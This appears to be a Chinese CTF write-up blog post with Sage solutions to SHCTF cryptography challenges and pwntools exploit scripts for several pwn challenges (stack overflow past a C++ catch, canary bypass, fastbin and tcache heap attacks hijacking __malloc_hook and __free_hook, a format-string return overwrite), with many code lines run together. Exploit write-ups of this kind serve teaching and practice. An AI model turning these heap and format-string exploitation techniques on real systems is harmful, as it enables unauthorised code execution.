一周不在家，这是补的最后一篇。后边的还有0xgame和shctf的末周。打不动了。

Crypto

Approximate_n

题目分两部分，flag分两块两个RSA，第1个泄露了4个n_approx=kp+r的值，后边只泄露了1个。

第1部分利用以前的模板，造格规约

Count = 3
L = Matrix(ZZ, Count, Count)
K = 2^247
L[0,0] = K
for i in range(1, Count):L[0,i] = N1_reveal[i]L[i,i] = -N1_reveal[0]
res = L.LLL()[0]p = N1_reveal[0] // (abs(res[0]) // K)

然后第2部分只有1个就造不了了。后来一想这东西很小，直接cooper试试，结果出了。

P.<x> = PolynomialRing(Zmod(N2))
f = N2_reveal - x 
res = f.small_roots(X=2^247,beta=0.4, epsilon=0.01)
r = f(res[0])
p = gcd(N2, N2_reveal-r)
long_to_bytes(int(pow(C2,inverse_mod(65537,p-1),p)))

看WP应该是造这个

引用一下官，我回头慢慢理解。

def solve2(N,N1,t,k,sys):var('x y')f = N1-xQ_polys = []for j in range(t + 1):# print(max(k-j,0),min(j,k),max(j-k,0))x1,x2,x3 = max(k-j,0),min(j,k),max(j-k,0)Q_polys.append(N^(max(k-j,0))*f^(min(j,k))*x^(max(j-k,0)))# print(Q_polys)len = t+1B = []num = 0for i in Q_polys:J = i.coefficients()b = [0*x for x in range(len)]for j in J:# print(j[0],j[1])b[j[1]] = ZZ(j[0])*(2**sys)**ZZ(j[1])B.append(b[::-1])num+=1B = matrix(QQ,B)solve_B = B.LLL()print('===We have find the right B_LLL===')BB = solve_B[0]a = []for i in range(len):a.append(BB[i]//((2^sys)^(t-i)))f1 = 0for i in range(t+1):f1 += a[i]*x^(t-i)m = f1.roots(multiplicities=False)print(m)return m

 

Lattice

hint = x*m^-1 mod n直接用hint和n造格  m*hint = x + kn 

M = matrix(ZZ, [[1,hint],[0,n]])
res = M.LLL()
m = res[0][0]
long_to_bytes(int(m))

Shamir

门限方案。又是一个脑筋急转弯的题。这里没限制0也就是kn的情况，所以直接输入0就得到m。后来看官方不是急转弯（漏限制项应该写x%n==0 die()）。

正经的写就是取101个数，然后矩阵给它求一下。可以用2开始的101个素数，感觉随机数也行，毕竟数很大，不大可能谁是谁的因子。

from data import *M = matrix(Zmod(n),101,101)
val = vector(Zmod(n),101)for i in range(101):for j in range(101):M[j,i] = pow(s[i][0],j,n)val[i] = s[i][1]res = M.solve_left(val)#res[0] 2714383922841583342545410709520735557018424739022559024254636526541894241086845280356019548541
m = res[0]
from Crypto.Util.number import *
print(long_to_bytes(int(m)))

官方方法是用拉格朗日插值法，原来存过，但还是不大会。这里x取的是1开始的101个数。

R.<x> = PolynomialRing(Zmod(n))recover_f = R.lagrange_polynomial(PT)
m = recover_f(0)
flag = long_to_bytes(int(m))
print(flag)

babyLCG

LCG参数全有，但只给出高-80位。直接用2元cooper

h = [i<<80 for i in c]
P.<x1,x2> = PolynomialRing(Zmod(p))
f = a*(h[0]+x1) + b - h[1] - x2#2元 coopersmith
res =small_roots(f,bounds=(2^80,2^80),2,3)
#[(599252632492697576403405, 756741212306419214614221)]x1 = res[0][0]
m = (h[0]+x1-b)*inverse_mod(a,p)%p
from Crypto.Util.number import *
long_to_bytes(int(m))
#b'SHCTF{1c6_M4y_mE4n5_Iou_don6_cAI_oa}'

baby_lock

这个没弄出来，看了看WP。是v8下math.random的漏洞。不学了，漏洞应该已经修补了。

大学×高中√

一开始没想到怎么弄，后来发现原来存了一个题，是求tag(m)，跟着倒过来。

这里的边K需要控制一下，不过直接上1000也行。

acos = arccos(leak)
RR = RealField(1000)
pi = RR(pi) #使pi更加精确for x in range(500,1000):K = 2^xL = Matrix(QQ,[[1,0,K],[0,2^(47*8),K*acos],[0,0,K*2*pi]])m = abs(L.LLL()[0][0])v = long_to_bytes(int(m))if b'{' in v and b'}' in v:print(x,v)break#SHCTF{arcCo5_lEARNED_1n_hI9h_ScHOOI_usEd_laTEr}

PWN

Awakening of SKYNET

这是个c++的程序，当抛出异常时程序不会退出，会沿着栈向前找catch，所以直接通过写溢出跳过第1个catch让第2个带后门的catch捕获即可。代码很简单，但是这个点不大常见。

from pwn import *
context(arch='amd64', log_level='debug')p = remote('210.44.150.15', 28052)#掷出异常后,会向前回溯调用它的函数中的catch,执行catch里的代码
#func3的返回地址后func2有catch语句处理,将返回地址由func2改为func1将执行func1 catch里的后门程序
#弹出后的rbp会写入数据,保证 [rbp-0x18]可写
p.sendafter(b">>> SKYNET: Input command: ", b'\0'*0x20+flat(0x405800, 0x402749))p.interactive()

TUTo的服务器

有canary但是计数在后边，通过写i跳过，写尾位到后门。

from pwn import *
context(arch='amd64',log_level = 'debug')p = remote('210.44.150.15', 29480)p.sendafter(b"Please enter the invitation code", b"TUTo_shi_da_shuai_ge\0")
p.sendafter(b"Please enter your name", b'/bin/sh\0'*(0xf*2))#\x37修改i跳到ret处修改后两字节到system(rbp-30)
p.send(b'echo flag'.ljust(16,b'\0')+b'/bin/sh\0'+b'\0'*4+ b'\x37'+b'\x8d\x53')p.interactive()

ez_heap

libc-2.23写one这个好辛苦。好老。

from pwn import *
context(arch='amd64',log_level = 'debug')libc = ELF('./libc.so.6')
elf = ELF('./pwn')def add(size,msg=b'A'):p.sendlineafter(b"Your choice :", b'1')p.sendlineafter(b"Note size :", str(size).encode())p.sendafter(b"Content :", msg)def free(idx):p.sendlineafter(b"Your choice :", b'2')p.sendlineafter(b"Index :", str(idx).encode())def show(idx):p.sendlineafter(b"Your choice :", b'3')p.sendlineafter(b"Index :", str(idx).encode())#p = remote('47.97.58.52', 42003)
p = 0
def gao(one, off):global p #p = process('./pwn')p = remote('210.44.150.15', 25633)add(0x80)add(0x68)add(0x68)free(0)show(0)libc.address = u64(p.recvline()[:-1].ljust(8, b'\0')) - 0x3c4b78print(f"{libc.address = :x}")oneaddr = libc.address + onefree(1)free(2)free(1)add(0x68, p64(libc.sym['__malloc_hook']- 0x23))add(0x68)add(0x68,b'/bin/sh\0')add(0x68,b'\0'*0x13+flat(oneaddr, libc.sym['realloc']+off))#gdb.attach(p, "b*0x5555555552ab\nc")p.sendlineafter(b"Your choice :", b'1')p.sendlineafter(b"Note size :", str(0x68).encode())#p.sendline(b'cat flag')#p.sendline(b'cat flag')p.interactive()for v in [0x45226,0x4527a,0xf03a4,0xf1247][3:]:for v2 in [0,2,4,6,8,12,13,16]:gao(v,v2)

ez_tcache

uaf板子题，先通过unsort得到libc再写system到__free_hook

from pwn import *
context(arch='amd64',log_level = 'debug')libc = ELF('./libc.so.6')
elf = ELF('./pwn')def add(idx, size,msg=b'A'):p.sendlineafter(b">> ", b'1')p.sendlineafter(b"Index: ", str(idx).encode())p.sendlineafter(b"Size: ", str(size).encode())p.sendafter(b"please input the tag: ", msg)     #0x20def free(idx):p.sendlineafter(b">> ", str(0xffff).encode())  #uafp.sendlineafter(b"Index: ", str(idx).encode())def show(idx):p.sendlineafter(b">> ", b'3')p.sendlineafter(b"Index: ", str(idx).encode())def edit(idx, msg):p.sendlineafter(b">> ", b'4')p.sendlineafter(b"Index: ", str(idx).encode())p.send(msg)#p = process('./pwn')
p = remote('210.44.150.15', 26561)for i in range(8):add(i, 0xf8)for i in range(7,-1,-1):free(i)add(8, 0x20)
edit(0, b'A'*0x10)
show(0)
libc.address = u64(p.recvuntil(b'\x7f')[-6:]+b'\0\0') - 0x3ebca0
print(f"{libc.address = :x}")edit(0, flat(0,0xd1))
add(9, 0x20)
free(8)
free(9)
edit(0, flat(0,0x31, libc.sym['__free_hook']))add(10, 0x20, b'/bin/sh\0')
add(11, 0x20, p64(libc.sym['system']))free(10)
p.interactive()

fmt_fmt

格式化字符串题，栈内就比较好办了。先泄露栈地址，再写ret

from pwn import *
context(arch='amd64',log_level = 'debug')elf = ELF('./pwn')p = remote('210.44.150.15', 31252)p.sendlineafter(b"3. exit", b'2')
p.sendlineafter(b"which one do you want to talk to?", b'8')
p.sendafter(b"what you want to say?", b"%28$p,%29$p,\0")
p.sendlineafter(b"3. exit", b'2')
stack = int(p.recvuntil(b',', drop=True),16) - 8
elf.address = int(p.recvuntil(b',', drop=True),16) - 0x1443print(f"{stack = :x} {elf.address = :x}")p.sendlineafter(b"which one do you want to talk to?", b'8')
p.sendafter(b"what you want to say?", f"%{(elf.address + 0x1255)&0xffff}c%8$hn".ljust(16,'A').encode()+p64(stack))p.sendlineafter(b"3. exit", b'2')p.interactive()